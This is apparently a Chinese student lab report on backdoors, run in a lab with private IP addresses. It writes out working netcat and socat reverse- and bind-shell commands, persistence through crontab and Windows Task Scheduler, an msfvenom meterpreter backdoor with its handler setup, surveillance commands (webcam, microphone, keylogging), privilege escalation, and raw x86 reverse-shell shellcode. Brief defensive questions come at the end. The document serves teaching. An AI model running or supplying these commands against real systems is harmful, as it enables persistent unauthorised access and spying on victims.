实验内容
使用 netcat 获取主机操作 Shell,cron 启动
netcat 是一个底层工具, 进行基本的 TCP UDP 数据收发. 常被与其他工具结合使用, 起到后门的作用.
其中 - e 选项可以指定一个文件在连接后打开
Windows 主机获取 Kali shell
kali 在终端输入
nc 192.168.1.104 23333 -e /bin/sh
, 将 shell 反弹给 Windows
Windows 在 cmd 下输入 nc -lvvp 23333, 监听端口
crontab
crontab 命令常见于 Unix 和类 Unix 的操作系统之中, 用于设置周期性被执行的指令.
根据帮助文档, 我们可以知道 cron 的格式是
分钟 小时 每月的日期 月份 星期几 指令
crontab -e 编辑, 在最后一行增加
33 * * * */bin/netcat 192.168.1.104 23333 -e /bin/sh
, 表示每天每个小时的第 33 分钟会执行这条反弹 shell 的指令.
Windows 端只要准时 listen 就可以了
使用 socat 获取主机操作 Shell, 任务计划启动
Socat 是 Linux 下的一个多功能的网络工具, 名字来由是 「Socket CAT」. 其功能与有瑞士军刀之称的 Netcat 类似, 可以看做是 Netcat 的加强版.
任务计划是 Windows 下和 crontab 差不多的东西
右键此电脑, 选择管理, 在任务计划程序中选择创建基本任务
起完名字后, 指定启动 socat.exe, 参数为
tcp-listen:5211 exec:cmd.exe,pty,stderr
, 这样任何人链接 5211 端口都可以获取 shell
设定完时间后, kali 准时运行
socat - tcp:192.168.1.104:5211
, 成功收到 shell
记得做完实验之后从任务计划程序库中把这条删掉
使用 MSF meterpreter(或其他软件)生成可执行文件, 利用 ncat 或 socat 传送到主机并运行获取主机 Shell
msfvenom 是一个 payload 生成器和编码器
-p 使用的 payload.payload 翻译为有效载荷, 就是被运输有东西. 这里 Windows/meterpreter/reverse_tcp 就是一段 shellcode.
-x 使用的可执行文件模板, payload(shellcode)就写入到这个可执行文件中.
-e 使用的编码器, 用于对 shellcode 变形, 为了免杀.
-i 编码器的迭代次数. 如上即使用该编码器编码 5 次.
-b badchar 是 payload 中需要去除的字符.
LHOST 是反弹回连的 IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
可以用 - l 来列出所有可选的 payload, 文件类型, 编码器等等, 这里我们的目标是 Windows 系统, 所以输入以下命令:
msfvenom -p Windows/meterpreter/reverse_tcp LHOST=192.168.79.137 LPORT=5211 -f exe> 20175211_backdoor.exe
然后用 nc 传输, 接收端
ncat.exe -lvvp 23333> 20175211_backdoor.exe
, 发送端
nc 192.168.79.134 23333 < 20175211_backdoor.exe
在 Windows 运行这个程序.
kali 中
msfconsole 进入 Metaspolit
set payload Windows/meterpreter/reverse_tcp
, 使用和生成后门程序时相同的 payload
- set LHOST 192.168.79.137
- localhost,
set LPORT 5211, 同样要使用相同的端口
show options, 查看设置信息, 再检查一遍
exploit 执行, 成功
使用 MSF meterpreter(或其他软件)生成获取目标主机音频, 摄像头, 击键记录等内容, 并尝试提权
help 指令可以看到我们现在能执行的指令, 比较有意思的比如下面这两个部分
record_mic 可以从默认麦克风录音
screenshot 可以截屏
webcam_snap 可以调用摄像头, 但是由于我的靶机是虚拟机, 没有硬件, 所以不演示了
keyscan_start 可以记录键盘按键记录, keyscan_dump 可以读取
shell 可以获取交互式 shell
getsystem 可以提权, 这时用户已经和上面不一样了. 但是要先用别的洞去打, 比如
- use exploit/Windows/local/bypassuac
- .
可选加分内容
在 https://www.exploit-db.com/shellcodes 找到 x86 的反弹 shell 的 shellcode
\xc0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
, 其指定 ip 和端口为 127.0.0.1:4444, 为了简化, 我们就在本地实验
nc -lvvp 23333 -e pwn1
模拟服务端
根据 Exp1 的结果制作 payload, 并注入 pwn1,nc 192.168.79.137 23333 < shellcode
msf 中设置
- use exploit/multi/handler
- set payload Linux/x86/shell_reverse_tcp
- set LHOST 127.0.0.1
- set LPORT 4444
- exploit
成功
报告内容
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
钓鱼链接可能会让你下载奇怪的软件
从不可信的第三方下载软件, 软件中可能被植入后门
(2)例举你知道的后门如何启动起来 (win 及 Linux) 的方式?
crontab, 任务计划, 自启动项
(3)Meterpreter 有哪些给你映像深刻的功能?
调用摄像头, 看来 IT 巨头们喜欢把电脑上摄像头贴住不是装装的
(4)如何发现自己有系统有没有被安装后门?
杀软, 检查自启动项, 有无异常进程, 尤其是网络连接
实验总结与体会
这次试验总体来说没有上次难, 因为主要是工具的使用, 但也是很重要的基本功. 希望有机会能更深入了解后门的制作和防范
来源: http://www.bubuko.com/infodetail-3462063.html